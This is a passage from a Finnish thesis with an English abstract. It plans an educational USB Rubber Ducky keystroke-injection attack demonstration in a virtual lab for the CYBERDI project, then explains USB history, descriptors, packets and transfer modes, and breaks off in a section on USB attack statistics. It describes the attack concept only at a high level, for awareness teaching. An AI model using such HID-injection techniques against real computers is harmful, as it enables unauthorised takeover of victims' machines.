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Abstract

The purpose of this research was to demonstrate USB flash drive attack on a fictional soft-
ware company called Devio. The objective was to create an attack scenario which could
have been used for educational purpose and in CYBERDI project. It was essential that the
attack scenario was made with virtual machines and on virtual environment which corre-
sponded to in real life environment. Crucial for implementing the attack was that when
demonstrated, the attack will succeed, events during attack are clearly to be seen and all
the phases of the attack are understandable for viewer.

Research begun first by getting acquainted with USB and how it works. Next step was to
research USB flash drive attacks and USB Rubber Ducky which was used on practical part of
this research. Mitre ATT&CK model was used for planning the attack and chain of the
events was looked from this model. After the attack was executed in practice it was specu-
lated if it could work in real life, were objectives accomplished and how could the research
be continued.

The attack scenario was made with virtual machines and in virtual environment. Required
servers, computers and routers were installed in virtual environment. The purpose was to
build virtual environment as realistic as possible and isolate systems into their own net-
works.

The attack was demonstrated for clients and objectives were accomplished according to
clients. Results were fitted for educational purpose. Results could not necessarily fit in real
life against big companies which have information security up to date. Results could fit
against smaller companies which have less understanding about cyberthreats. Assignments
main purpose was to illustrate threats of USB flash drives for those who do not have any
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1 Johdanto

1.1 Toimeksiantaja ja CYBERDI-projekti

Opinnaytetyo tehdaan Jyvaskylan ammattikorkeakoululle CYBERDI-projektia varten.
Kaytannon toteutuksesta vastaa JYVSECTEC eli Jyvaskyla Security Technology.
JYVSECTEC on Jyvaskyldssa sijaitseva kyberturvallisuuteen erikoistunut yritys, joka te-
kee tutkimus -ja kehitystyo6ta ja toimii koulutuskeskuksena kyberturvallisuusasioissa.
JYVSECTEC toimii osana Jyvaskylan ammattikorkeakoulua ja se tekee yhteistyota jat-
kuvasti muun muassa Telian, Elisan, Fingridin, Puolustusministerion ja F-Securen
kanssa. JYVSECTEC tarjoaa asiakkailleen nykyaikaisia tietoturvauhkia vastaan palve-
luja ja auttamaan asiakkaita valmistautumaan tietoturvauhkiin. Kaytanndssa eri pal-
veluita ovat kyberturvallisuus harjoitukset, henkiloston kouluttamista, ohjelmistotes-
tausta ja konsultointi. JYVSECTEC toimii eri projekteissa yhteistydssa valtion, kansal-
listen ja kansainvalisten yritysten ja jarjestojen kanssa. Yksi projekteista on CYBERDI-

projekti, jota varten tdma opinndytetyo tehdaan. (About us. n.d.)

CYBERDI-projektin tavoite on estada, tutkia ja selvittaa kyberrikoksia kehittamalla tek-
nologisesti ja toiminnallisesti parhaita kaytantdja. Taman lisaksi tehtdavana on levittaa
tietoisuutta digitaalisen maailman uhkista ja kyberrikollisuudesta. Yhteistyota teh-
daan hankkeen edistamiseksi kotimaisten ja kansainvalisten poliisi- ja kyberturvalli-
suusorganisaatioiden kanssa. Lisaksi eri yrittajajarjestot, valtiohallinnon ja terveyden-
huoltosektori ovat mukana hankkeessa. Padyhteistyd kumppani on Poliisiammatti-
korkeakoulu (POLAMK) ja muita yhteistydkumppaneita projektissa ovat Poliisihallitus
(POHA), Keskusrikospoliisi (KRP), Suojelupoliisi (SUPO), Sisaministerid, Puolustusmi-
nisterio seka Liikenne- ja viestintdvirasto. (CYBERDI — Kansallista & kansainvalista ky-

berosaamista kasvattamassa. n.d.)

CYBERDI-projekti on jaettavissa kolmeen tyopakettiin tavoitteiden mukaisesti, jotka
ovat: kyberrikollisuuden torjuminen, tietoisuuden kasvattaminen ja yhteistyon vah-
vistaminen. Ensimmainen tyopaketti kyberrikollisuuden ennaltaehkdiseminen keskit-

tyy estdmaan tietoverkossa tapahtuvia rikoksia hyodyntden uusimpia teknologioita.



Naitad ovat esimerkiksi tekodly, koneoppiminen ja data-analytiikkaa. Tyopaketissa
keskeistda on myos kehittaa uusia tehokkaita yhteistyomalleja verkkorikosten ennalta-
ehkadisemiseen ja tutkintaan. Tietoisuuden kasvattaminen on toinen tyopaketti pro-
jektissa ja sen tarkoitus onkin nimensa mukaisesti kasvattaa, ja levittaa tietoisuutta ja
osaamista kyberrikollisuudesta. Kohde ryhmia ovat eri yritykset, terveydenhuolto ja
sosiaalisen median kayttajat. Kolmas tyopaketti eli yhteistydn vahvistaminen keskit-
tyy kansallisen ja kansainvalisen tutkimus- ja kehitysyhteistyon vahvistamiseen ja sy-
ventymiseen kyberrikollisuudessa. Yhteisty6ta, joiden kanssa CYBERDI-projektissa

tehdaan, mainittiin viime kappaleessa. (CYBERDI. n.d.)

Tata opinnaytetyota voidaan hyédyntaa mahdollisesti ensimmaisessa ja toisessa tyo-
paketissa. Toimeksiantaja voi kdyttdaa opinnaytetyota tyopaketeissa, jos tyohon ja tu-
loksiin ollaan tyytyvaisia. Opinnaytety6ta voidaan kayttaa pohjana projektia varten ja
toimeksiantaja voi kdyttdaa opetustarkoituksessa tyota tai tekemallda mahdollisesti

omanlaisensa version tyosta.

1.2 Tehtavan kuvaus

Tehtavana on havainnollistaa epailyttavien USB mediatallennusvalineiden vaaralli-
suutta ja demonstroida, miten hyokkadja toteuttaisi hyokkayksen ja mitd mahdolli-
suuksia hyokkaajalla on tehda, kun se on saanut uhrin tietokoneen haltuun. Kohde-
ryhmana ovat yritykset, joilla ei ole juurikaan kasitysta ja kosketusta IT-maailmasta.
Demonstraatio tapahtuu muistitikulla ja virtuaalikoneilla, joita ovat hydkkayksen koh-
detietokone Windows 10 kayttojarjestelmalla ja hyokkadjan omat tietokoneet/jarjes-

telmat.

Tavoitteena on demonstroida USB mediatallennushyokkays, jossa kohdetietokonee-
seen hyokatdaan USB muistitikun avulla. Tama pyritaan toteuttamaan erikoisemmalla
muistitikulla, joka nayttaytyy tietokoneelle ndppéaimistona. Muistitikkuun tallenne-
taan skripti, joka nappailee uhrin tietokoneessa haluttuja toimintoja. Toteutuksessa

tarkeaa on, ettd yleis6 ymmartaa ja nakee hyokkayksen eri vaiheet. Hyokkaysta tar-



6
kastellaan MITREN ATT&CK mallin mukaisesti ja tdman jalkeen tutkitaan, miten hyok-
kdys onnistui ja pohdintaan muun muassa, miten kyseinen hyokkays onnistuisi oike-

assa elamadssa ja mita jatkotutkimus aiheita tyosta saisi.

1.3 Tutkimusmenetelmat

Opinndytetyo on toiminallinen ja tutkimusmenetelmana kaytetaan laadullista tutki-
musta. Tutkimuksessa perehdytdaan USB:n toimintaan, hydkkaysketjuihin oikeassa
elamassa ja hyokkayksen toteuttamiseen kdaytanndssa. Tietoa ja aineistoa etsitdaan
tyolle internetista ja sovelletaan omia taitoja koulutuksen puolesta, kun hyokkaysta

toteutetaan kaytdanndssa. Hyokkayksen toteutus on kokeellista tutkimusta.

2 USB

Luvussa tutkitaan USB:t3, mika se on ja miten se toimii. Tavoitteena on saada ym-
marrys yleisesti USB laitteista ja miten niita voidaan hyédyntaa hyokkaystarkoituk-

sessa.

2.1 Yleista

USB eli Universal Serial Bus on hyvin yleinen laitteiden liitettavyystekniikka. Silla voi-
daan liittda monia eri oheislaitteita tietokoneeseen esimerkiksi matkapuhelimet, hii-
ret, ndappaimistot, ulkoiset tallennusvalineet, tulostimet ja skannerit. USB laitteiston
aitouden voi tunnistaa sertifioidusta USB logosta, jolloin kyseinen laite on testattu ja
todettu tayttavan USB:n standardit. Sivustolta www.usb.org voi sertifioida oman USB

laitteiston. (Universal Serial Bus (USB) n.d.)

USB sai alkunsa vuonna 1994 tietokone arkkitehdin Ajay Bhatt toimesta, joka tyos-
kentelee Intellilld. Samana vuonna Intelin lisdksi yhtiot: Compagq, Microsoft, IBM, Di-
gital Equipment Corporation, Nortel ja NEC Corporation lahtivat yhdessa kehitta-

maan USB:ta. Tarkoituksena oli helpottaa oheislaitteiden liittdmista tietokoneeseen



vhdella standardoidulla kaapelilla. Ensimmadinen USB versio julkaistiin vuonna 1996.

(Universal Serial Bus (USB) n.d.)

2.1.1 Versiot ja nopeudet

USB nopeudet ovat jaoteltu hitaimmasta nopeimpaan seuraavasti: low speed
1.5Mbit/s, full speed 12Mbit/s ja high speed yli 480Mbits/s. Ensimmainen USB versio
1.0 tukee vain low -ja full speed kutsuttuja nopeuksia. Seuraava versio eli USB 2.0 sai
high speed tuen ja taméan teoreettinen nopeus on 480Mbit/s. USB 2.0 jalkeen markki-
noille on tulleet versiot: 3.0, 3.1, 3.2. Alla olevassa taulukossa (ks. Taulukko1) on lis-
tattu USB versioiden nopeuksista ja mainittu muita liitanta tekniikoita. Taulukosta voi
nahda, ettd USB:ll4 saa suuria nopeuksia ja silla on mahdollista liittda monia eri lait-
teita eri tarkoituksiin. Esimerkiksi HDMI:1l3 saa tietoa siirrettya nopeasti, mutta se so-

veltuu vain kuvan -ja danentoistoon. (Peacock 2018c.)

Taulukko 1 Usb ja muut liitanta tekniikat.

Teoreettinen

Teknologia nopeus Julkaisupaiva Kommentti

USB 0.9 12 Mbit/s huhtikuu 1995 Prototyyppi

USB 1.0 1.5 Mbit/s tammikuu 1996

UsSB 1.1 12 Mbit/s elokuu 1998

USB 2.0 480 Mbit/s huhtikuu 2000

USB 3.0 5 Gbit/s marraskuu 2008

UsB 3.1 10 Gbit/s heindkuu 2013

USB 3.2 20 Gbit/s elokuu 2017
ei vield tuotan-
nossa, maarittely

USB4 40 Gbits/s elokuu 2019 valmis

RS-232 20 kb/s vuonna 1960

100 kbit/s - 10
RS-422 Mbit/s vuonna 1975

Pararrel port/Rin-

nakkaisliitanta 150 kbit/s vuonna 1970 tulostimet

joulukuu 2002 / elo- kuva -ja danen-
HDMI 1.0 - 1.2(a) 4.95 Gbit/s kuu 2005 toisto

uusin versio, tukee
HDMI 2.1 48 Gbit/s marraskuu 2017 8K resoluutiota
Parikaapeli Cat 3 10 Mbit/s vuonna 1980 Verkkokaapeli
100 Mbit/s -

Parikaapeli Cat 5 (e) | 2.5 Gbit/s vuonna 2001
Parikaapeli Cat 6 10 Gbits/s vuonna 2002
Wi-Fi versio 1 1-11 Mbit/s |vuonna 1994 Langaton verkko




600 - 9608
Wi-Fi versio 6 Mbit/s vuonna 2019
Bluetooth 1 1 Mbit/s vuonna 1994
Bluetooth 3 24 Mbit/s elokuu 2009
FireWire 400 400 Mbit/s vuonna 1995 Usb:n kilpailija

2.1.2 USB rakenne

USB:n johto koostuu neljasta eri suojatusta piuhasta, joista kaksi on tarkoitettu virtaa
varten ja loput kaksi ovat kierrettya parikaapelia data signaalia varten, jotka kumpikin
kayttavat eri signaalia. Johdot ovat yleensa varikoodiltaan punainen, valkoinen, vih-
rea ja musta. Punainen on positiivinen piuha 5V tasavirralle, musta on maadoitusta
varten, valkoinen on positiivinen datapiuha ja vihrea on negatiivinen datapiuha.
Muita varikombinaatioita voi olla myds esimerkiksi oranssi, valkoinen, sininen ja vih-

red. (Peacock 2018b.)

USB:n liitintyyppeja ovat A, B ja C. A ja B liittimista on olemassa rakenteeltaan pie-
nempia versioita mini ja micro. USB-A liitantaa kytketaan yleensa isantalaitteeseen
(tietokoneeseen) ja porttia kohden datan virtaus on downstream eli isantalaitetta
kohti (suom. alavirtaan). USB johdon toinen paa on joko tyyppid USB-B tai USB-C ja
porttia kohden datan virtaus on upstream eli oheislaitetta kohti (suom. ylavirtaan).
Virtaa voi tarjota vain portti, joka on downstreamia kohti. Tama saant® on asetettu
USB topologiaan, jotta voidaan valttaa sahkon ylikuormitusta ja vahingoittamasta
laitteita. USB jatkojohdot ovat kiellettyja, joissa molemmissa paadyissa on pistokkeet,

silla se rikkoo USB:n kaapelinpituuden vaatimuksia. (Peacock 2018b.)



2.2 USB Toiminta

Tassa kappaleessa kasitelladan USB:n toiminta ja protokollaa. Tarkoituksena on ha-
vainnollistaa fyysisella tasolla eri vaiheet kommunikoinnissa ja esitelld, milla proto-
kollilla eri laitteet toimivat. Datan valitys sisaltaa eri paketteja, joilla datan valitys to-

teutetaan.

2.2.1 Yleinen toiminta

USB toimii kytke ja kdyta (engl. plug and play) mallilla eli kun oheislaite liitetdaan USB
liittimen avulla tietokoneeseen, niin oheislaite kertoo tietokoneelle mallinsa ja versi-
onsa, jolloin tietokone pystyy lataamaan tarvittavat ajurit oheislaitetta varten. Oikei-
den ajurien latauksessa kdytetdaan tuote -ja valmistajan tunnusta eli PID/VID (Product
ID/Vendor ID) yhdistelmilld, jotka USB oheislaite sisdltda sen raudassa. Hot swap-
ping/Hot-Plug on toinen tarkead ominaisuus USB:ssa. Sen avulla oheislaite voidaan
poistaa tai vaihtaa ilman, etta tietokone tarvitsee uudelleen kaynnistaa. Tietokone
havaitsee laitteen irrotetuksi ja taman jdlkeen se purkaa ajurien toiminnan. Aikaisem-
min vanhemmat portit vaativat tietokoneen sammutuksen ja uudelleen kaynnistyk-
sen, jotta laiteitta voidaan liittaa tietokoneeseen kiinni. Jos tietokonetta ei sammu-
tettu oheislaite saattoi rikkoutua sahkdstaattisen purkauksen vuoksi. (Universal Serial

Bus (USB). n.d.)

USB:ssa oleva hot swapping on vikasietoinen, vaikka laite poistettaisiin yllattdaen. Va-
rovaisuutta kannattaa pitaa tiettyjen laitteiden kanssa esimerkiksi kamerat. Vahinkoa
voi tapahtua, jos yksikin pinni liitdannassa menee oikosulkuun, jonka jalkeen siita voi
aiheutua vahinkoa laitteen piirilevyyn. USB liitdnnassa kontrollointi tapahtuu useim-
miten isantalaitteen toimesta, jonka suhdetta voidaan kutsua master-slave nimella.
Isantalaitteen tehtdavana on hoitaa kaikki tiedonsiirrot ja aikatauluttaa kaistaa USB

vaylassa. (Universal Serial Bus (USB). n.d.)

Isdntalaitteena voi toimia myds alypuhelin tai tabletti USB On-The-Go ominaisuuden

avulla, jos ominaisuus l6ytyy. On-The-Go ominaisuudessa laitteet kommunikoivat
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keskendan ja voidaan valita, kumpi toimii masterina/isantalaitteena ja kumpi sla-
vena/oheislaitteena. Esimerkiksi dlypuhelin voidaan yhdistaa muistitikkuun, oh-

jaimeen, digikameraan tai tulostimeen. (Universal Serial Bus (USB). N.d)

2.2.2 Deskriptorit

USB laitteet sisdltavat hierarkkisessa jarjestyksessa olevia deskriptoreita. Eri deskrip-
torit kertovat isantalaitteelle, mika laite on liitetty, kuka on laitteen valmistanut, mita
USB versiota se tukee, kuinka monella tapaa laitetta voidaan konfiguroida ja monta
ulospaasya eri keinoilla on. Yleisimmat USB deskriptorit ovat: device, configuration,

interface, endpoint ja string deskriptorit. (Peacock 2018d.)

Kaikki deskriptorit noudattavat yleista formaattia, jossa ensimmadinen byte/tavu maa-
ritta deskriptorin pituuden ja toinen byte/tavu deskriptorin tyypin. Jos pituus on pie-

nempi kuin mita maaritelma on, isantalaite jattaa huomioimatta taman. Koon ollessa

oletettua isompi isdantdlaite ei ota huomioon ylimaaraisia byteja ja etsii seuraavaa

deskriptoria, kunnes oikean kokoinen I6ytyy. (Peacock 2018d.)

Ylimpana hierarkiassa oleva device (suom. laite) deskriptori, edustaa USB laitteessa
koko laitetta ja vain yksi device deskriptori voi olla laitteessa. Configuration (suom.
konfiguraatio) deskriptoreita voi |6ytya useampia eri konfiguraatioineen. Konfiguraa-
tioita voivat olla esimerkiksi vaihtoehto 1, jossa laite ottaa virtaa usb vaylasta tai
vaihtoehto 2, jossa USB laite kdyttda omaa virtalahdetta. Konfiguraatiot voivat myds
kayttaa eri siirtotapoja. Configuration deskriptorit tdsmentavat esimerkiksi, ettd mi-
ten laite saa virtaa, mika on maksimi virran kulutus ja monta rajapintaa laitteesta 16y-
tyy. Kun isdntalaite on tarkastanut konfiguraatiot se ldhettdad komennon SetConfigu-
ration "ei" nolla-arvolla tasmaamaan bConfigurationValue arvoon, joka on yksi konfi-

guraatioista. Talla valitaan haluttu konfiguraatio laitteelle. (Peacock 2018d.)

Interface (suom. rajapinta) deskriptorien tehtava on ikdan kuin olla otsikkona tai ryh-
mittymana endpointeille (suom. paatepisteille) toiminnallisina ryhmina suorittamaan
yksittdisia toimintoja laitteesta. Esimerkiksi monitoimilaitteissa, joissa on faxi, skan-

neri ja tulostin ominaisuus. Naihin eri ominaisuuksiin 10ytyy oma interface deskriptori
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vastaamaan tiettya ominaisuutta. Interface deskriptorit voivat kaikki olla yhta aikaa
toiminnassa. Interface deskriptoreista l0ytyva binterfaceNumber tdsmentaa tiettya
rajapintaa arvolla 0 tai 1 ja bAlternateSetting sallii rajapinnan muuttamaan asetuksia
kaytossa. Rajapinnan aktivointi tapahtuu isantalaitteen lahettdessa "SetInterface"

pyynnon, sille rajapinnalle, jonka bAlternateSetting arvo on 1. (Peacock 2018d.)

Endpoint deskriptoreita kdytetdaan tasmentamaan siirtotyyppia, suuntaa, kiertoky-
selyn aikavalia ja maksimi paketin kokoa jokaiseen endpointtiin. Endpoint deskriptori
on hierarkiassa pohjalla. String (suom. merkkijono) Deskriptorit ovat vaihtoehtoisia ja
niiden tarkoitus on tarjota ihmiselle luettavaa informaatiota USB laitteistosta. (Pea-

cock 2018d.)

2.2.3 Protokolla

Tiedonsiirto tapahtuu eri paketeilla, joita ovat muun muassa: Handshake -, Token -,
Data -, Pre ja Start of frame paketit. Paketit ovat nippu dataa, jotka sisaltavat infor-
maatiota kuten lahteen, maaranpaan, datan pituuden ja virheen havainnointi meka-
nismeja. Paketit sisdltavat useita eri kenttia kuten Sync, PID, ADDR, ENDP, CRC ja
EOP. (Peacock 2018e.)

Sync kentan tarkoitus on synkronoida kellotus vastaanottajalle ldhettdjan kanssa.
Tama kentta vaaditaan kaikkiin paketteihin ja se on pituudeltaan 8 bittid low speed
yhteyksissa ja 32 bittia high speed yhteyksissa. PID tarkoittaa Packet ID:ta eli paketin
tunnusta ja tdman kentan tehtdvana on tunnistaa paketti, mita lahetetdan. Kentta si-
saltaa 4 bittia, mutta bitit toistetaan ja tdydennetdan uudelleen, jotta vastaanotto
onnistuisi oikein. Tdman vuoksi PID kentta sisaltaa 8 bittia kokonaisuudessaan. (Pea-

cock 2018e.)

ADDR eli address field (suom. osoite kenttd) tarkentaa paketissa, ettd mille laitteelle
paketti on tarkoitettu. Se on 7 bittia pitka ja tama mahdollistaa USB:n 127 laitteen
vhtaaikaisen kayton isantalaitteessa. ENDP tarkoittaa endpoint fieldid (suom. paate
kenttad) joka on kooltaan 4 bittia. Tama sallii 16 mahdollista paatepistetta, mutta

low speed laitteissa voi olla vain 2 ylimaaraista paatepistetta vakio putken lisaksi.
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CRC tulee lyhenteesta Cyclic Redundancy Check, jonka tehtdvadna on tarkistaa datasta
paketin eheys ja sen lasti. EOP eli End of Packet kentta viittaa paketin loppuun ja

tdma kentta 16ytyy luonnollisesti kaikista paketeista. (Peacock 2018e.)

Handshake paketit koostuvat ldhinna vain PID (Packet ID) byteistd/tavuista.
Handshake pakettien tarkoitus on vastata data paketteihin vastauksilla ACK eli ack-
nowledge, NACK notacknowledge ja STALL. ACK tarkoittaa, ettd data on saapunut.
NACK tarkoittaa, ettei dataa saatu perille. STALL tarkoittaa, etta laitteella on jotain
vikaa eika se pysty lahettamaan dataa nykyisessa kunnossa, kunnes se korjataan. USB
2.0 sisaltaa kaksi ylimaaraista pakettia, jotka ovat: NYET, mika tarkoittaa, ettei kah-
dennettu siirto ole vield valmis ja ERR tarkoittaa, etta kahdennettu siirto on epaon-

nistunut. (Peacock 2018e.)

Token paketit lahettda vain isdntalaite ja ne koostuvat PID, ADDR, ENDP ja CRC ken-
tista. Token paketteja ovat In, Out ja Setup. In paketin tehtavana on ilmoittaa lait-
teelle, ettd isantalaite haluaa lukea informaation. Out paketti ilmoittaa laitteelle, etta
isdntalaite haluaa lahettda informaatiota. Setup pakettia kdytetdan, kun aloitetaan
kontrolli lahetykset. Jokaisen USB laitteen taytyy vastata Setup pakettiin, silla paket-
tien tarkoitus on havaita laite ja ottaa konfiguraatiot laitteesta kayttoon. Tyypilliset
toiminnot setup paketeille ovat USB laitteen osoitteen maaritys USB vayldssa, laite

deskriptorin pyynto ja endpointin tilan tarkastus. (Peacock 2018e.)

Data paketit kuljettavat datalastin ja se sisdltdaa Data kentan ja 16 bittisen CRC ken-
tan. Eri data paketteja ovat dataO ja datal. Koko datapaketti voi olla kooltaan 0 —
1024 byted, riippuen laitteen nopeudesta. Low-speed laitteita varten paketin koko on
8 byted, full-speed laitteissa 1023 byted ja high-speedeissa 1024 bytea. Data taytyy
l[ahettaa moninkertaisena byteissa. High speed tilassa on maaritelty pakettiin lisa
kenttid, jotka ovat data2, MDATA eli metadata ja kaksi data PID kenttda. (Peacock
2018e.)
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2.2.4 Datan siirto

Kun oheislaite kiinnitettdan USB:II4, sille maaritetddn oma numero, jota kutsutaan sa-
malla osoitteeksi. Jokainen laite sisaltaa tietyn maaran endpointteja, jotka ovat koko-
elmia lahteista ja kohteista kommunikointia varten isdantalaitteen ja oheislaitteen va-
lilla. Endpointit toimivat simpleksina eli joko sisdantulona tai ulostulona. Esimerkiksi
tavallinen nappaimisto, josta l6ytyy led valoitus, voi sisdltda sisdan -ja ulostulo
endpointit. Nappadimet toimivat kdytanndssa ulostulona kertoakseen isantalaitteelle,
mita kirjaimia syotetdadan. Mahdolliset LED valot puolestaan sisdadntulona, jossa BIOS
maarittaa ja ohjaa nappaimistod, mitka valot palavat esimerkiksi Caps Lock valo, jos

Caps Lock aktivoidaan. (Knagge n.d.)

BIOS on lyhenne sanoista Basic Input-Output System ja se on tietokoneohjelma,
jonka tarkoitus on suorittaa kdyttojarjestelmaa tietokoneessa ja ladata tama keskus-
muistiin. Se pystyy hoitamaan yksinkertaisia toimintoja, kuten kommunikoinnin

oheislaitteiden kanssa esimerkiksi hiiren ja ndppadimiston kanssa.

Jokaiselle USB laitteelle on varattu kaikkiin sisdan -ja ulostulo endpointteihin yksi
zero endpoint (suom. nolla paatepiste). Zero endpointteja kdytetdan laitteen auto-
maattiseen havaitsemiseen ja konfigurointiin, kun laite on kytketty. Jokainen paate-
piste asettaa sen omat vaatimukset yhteyden muodostamista varten, sen liittyessa

USB vaylaan. (Knagge n.d.)

Data kulkee tiettya putkea pitkin, jonka isantalaite ja ohjelmisto maarittaa. Oikean
putken valinta tapahtuu kokoelmasta, joka sisaltda osoitteen, endpoint numeron ja
suunnan. Putkella tarkoitetaan loogista data yhteytta isantéalaitteen ja endpointtejen
valilla. Zero endpointit yhdistaa Default Control Pipe eli oletus hallinta putki. (Knagge
n.d.)

USB protokollassa on kaksi maariteltya putkea, jotka ovat Stream pipes (suom. Jono
putket) ja Message Pipes (suom. Viesti putket). Stream pipeilla ei ole maariteltya for-
maattia, ja ne pystyvat lahettamaan putkea pitkin mita tahansa dataa ja saamaan ta-

kaisin dataa toisesta paasta. Datan virtaus stream pipessa on perakkaista ja suuntaus
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on ennakkoon maaritelty sisdan -tai ulostulona. Stream pipet tukevat bulk, isochro-
nous ja interrupt siirotapoja, ja putkea voi hallita isantalaite tai oheislaite. Message
pipeilla on maaritelty formaatti. Ne ovat isantdlaitteen hallinnassa ja ne aktivoituvat
isantalaitteen pyynnosta. Data kulkeutuu haluttuun suuntaan, mihin viesti on pyy-
detty ja se virtaa molempiin suuntiin, mutta message pipet tukevat vain control siir-
totapaa. Datan siirtotapoja ovat Control, Isochronous, Bulk ja Interrupt. Jokaiselle
ndistd on omat ominaisuudet ja jokaista siirtotapaa kaytetadan tietyilla laitteistoilla.

(Peacock 2018e.)

Control

Control siirtotapaa kaytetaan, kun halutaan vaihtaa tila -, asennus- ja hallintainfor-
maatiota isanta -ja oheislaitteen vililla. Siirto voi tapahtua kolmessa vaiheessa, jotka
ovat setup (suom. asennus) -, data- ja statusvaihe. Setup vaiheella kommunikointi
aloitetaan. Datavaihe on vaihtoehtoinen ja statusvaihe ilmoittaa isdantalaitteelle on-
nistumisesta tai epaonnistumisesta koko control siirrossa. Oheislaite kasittelee aina
yhden control pyynnon kerralla. Control prosessi tarvitaan aina jokaisen laitteen

kanssa, jotta voidaan aloittaa datan siirto. (Peacock 2018a)

Isdntalaite kdynnistaa control siirron setup vaiheella. Setup vaiheessa laite otetaan

kayttoon. Isantdlaite [ahettaa Setup token paketin ja vastaanottaja vastaa ACK katte-
Iyll, jolloin prosessi voi alkaa tai jattaa huomioimatta. Alla oleva Kuvio 1 nayttaa, mi-
ten control siirto tapahtuu ja miten se jatkuu, kun setup paketti/vaihe on onnistunut.

(Peacock 2018a.)



Setup paketti

Y

Kattely: ACK, NACK tai STALL

USE laite

Control Token paketi

USE laite

Y

Kattely ACK

USE laite

Izéntalaite
Isa@ntalaite o
Iséntélaite
Iséntélaite £

Kuvio 1. Control siirto

USE laite

15
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Isochronous

Isochronous siirtotavassa, tiedonsiirto tapahtuu jatkuvasti ja jaksollisesti. Ominaista
siirtotavalle on taattu paasy USB vaylaan, taattu viive ja suuren data maaran lapi-
syotto. Siirtotapaa kaytetaan audio -ja videolaitteissa, jotka vaativat nopeata ja reaa-
liaikaista tiedonsiirtoa. Dataa ei laheteta uudelleen eika korjata, silla se aiheuttaisi
epatasaista daantd. Lahetysta ei varmisteta, niin kuin muissa siirtotavoissa, joten pa-
ketteja saattaa tippua valilla pois. Tama ei haittaa, silla loppukayttdja ei todennakai-
sesti huomaa poikkeavaa danessa tai kuvassa. Lahetys alkaa, kun isantalaite lahettaa
token paketin laitteelle oikeilla arvoilla, jonka jalkeen data virtaa molempiin suuntiin.
Muista siirtotavoista poiketen, Isochronous siirrossa ei ole kattelya isantalaitteen ja
oheislaitteen valilla, silla datan eheytta ei ehdi tarkistamaan (ks. Virhe. Viitteen lah-

dettd ei Ioytynyt.). (Peacock 2018a)

Token paketti
|s&ntalaite : S IUSE laite

s Isochronous data _
|s&ntalaite o S IUSE laite

Kuvio 2. Isochronous siirto

Bulk

Bulk siirtotapaa kaytetdan suuren datan lahetyksessa, jonka ldhetys varmistetaan ja
viankorjaus tehdaan CRC:lI3. Tiettya kaistaa ja viivetta ei taata USB vaylaan, joten
tatd tapaa ei suositella kdyttamaan reaaliaikalaitteiden kanssa kuten video -ja au-
diolaitteet. Jos USB vaylassa tapahtuu Isochronous tai Interrupt protokollilla tiedon-

siirtoa, niin Bulk paadstetdan viimeisena vaylaan kayttamalla ei-allokoitua kaistaa. No-
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peus riippuu siitd, mitd muita ja kuinka paljon eri protokollia USB vaylassa on meneil-
[aan. Bulk soveltuu tulostimiin ja skannereihin, joissa datan kapasiteetti on suurta ja

datan eheys taytyy tarkistaa tiedonsiirron aikana. (Peacock 2018a)

Isdntalaite aloittaa lahetyksen lahettamalla token paketin osoittamaan, joko sisaan-
tulona tai ulostulona riippuen siita, mita kayttdjaa haluaa. Sisaantulossa isantalaite
lahettaa token paketin ja saa vastauksen, joko data tai kattely paketin. Kattely tar-
koittaa tassa tapauksessa, ettd pyynto ei onnistunut. Isantalaitteen pyytdessa lahet-
tamaan dataa oheislaitteelle tapahtuu siten, etta isantalaite lahettaa ulostulo token
paketin ja lahettda samalla data paketin perdan. Lopuksi isdntalaite odottaa kattely
pakettia oheislaitteelta, jolla oheislaite kuittaa datan saapuneen perille. Kuvio 3 nayt-

taa bulk siirrot sisaan -ja ulostulo tavoilla. (Knagge N.d.)

Sisaantulo:
Sisaantulo Token paketti
Isa@ntalaite » USE laite
e Data tai kattely )
Isaéntalaite R USE laite
Ulostulo:
Ulostulo Token paketti
Is&ntélaite > USE laite
Data
Is&ntélaite o USE laite
N Kattely )
Is&ntélaite o USE laite

Kuvio 3. Bulkki siirtotapa
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Interrupt

Verrattuna muihin siirtotapoihin, Interrupt siirroissa oheislaite aloittaa kommuni-
koinnin isdntalaitteen kanssa. Interrupt siirtotapa on tarkoitettu laitteille, jotka vaati-
vat valiténta huomiota mahdollisimman pienella viiveella ja tarvitsevat pienta data
maaraa. Kaikki HID (human interface device) laitteet kuten hiiret ja ndppadimistot

kayttavat kyseista siirtotapaa toimiakseen. (Peacock 2018a)

Kuvio 4 on esimerkki onnistuneesta ja epdonnistuneesta Interrupt siirrosta. Isanta-
laite lahettaa token paketin ja oheislaite vastaa tdahan datalla, jos oheislaitteesta 16y-
tyy interruptiin viittaavaa informaatiota. Jos informaatiota ei ole, oheislaite vastaa

NAK kattelylla, jolloin siirto on epaonnistunut.

Interrupt Token paketti
|s@ntalaite o LUSE laite
I Interrupt data _
|s@ntalaite R LUSE laite
Interrupt Token paketti
|s@ntalaite o LUSE laite
o MAK kattely ]
|s@ntalaite R LUSE laite

Kuvio 4. Interrupt siirto
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2.3 USB mediatallennushyokkaykset

Kappaleessa kdaydaan lapi USB mediatallennus hydkkayksista yleisesti, millaisilla ta-

voilla voidaan tehda hyokkays ja opinndytetyossa kaytettavaa tyokalua. Tarkastellaan
tilastollisesti toteutettuja hyokkayksia ja katsotaan esimerkkina Iraniin kohdistunutta
hyokkaysta, joka tapahtui vuonna 2010. Tutkitaan, mikda on USB Rubber Ducky, miten

USB Rubber Ducky toimii ja miten se poikkeaa tavallisesta USB-tikusta.

2.3.1 Taustaa ja tilastoja

USB muistitikut ovat olleet yleisessa kaytossa reilu 20 vuotta ja erityisesti tiedostojen
siirrossa ja varastoimisessa laitteilta toisille. Ne ovat helppo kayttdisia, edullisia ja
hinta on selvasti laskenut kapasiteettiin ndhden. USB muistitikkujen suuren kayton
vuoksi kyberrikolliset ovat alkaneet hyddyntamaan muistitikkujen toiminnallisuutta

ja tekemaan niista omia ”digitaalisia aseita”. (Lecount 2019.)

Kaspersky Lab niminen tietoturvayhtité on kerannyt tietoja haittaohjelma tapauksista
aikavaliltda 2013-2018, joissa on ollut osallisena ulkoinen medialaite, kuten USB muis-
titikku. Kaspersky Lab havaitsi vuonna 2017 joka neljannen kayttajan maailmanlaajui-
sesti altistuneen kyberhyokkaykselle. Yhteensa haittaohjelma tapauksia, jotka viitta-
sivat ulkopuoliseen median olleen mukana, oli 113.8 miljoonaa ja kayttadjien maara
noin 4.48 miljoonaa. Vuonna 2014 oli Kaspersky Labin mukaan eniten havaittuja ta-
pauksia noin 341 miljoonaa tapausta. Taman jalkeen tapaukset ovat lahteneet maltil-
lisesti laskuun. Tahan voi vaikuttaa muun muassa se, etta USB muistitikkujen tietotur-
variskia ymmarretaan paremmin ja USB muistitikkujen ohella kaytetaan pilvipalveluja
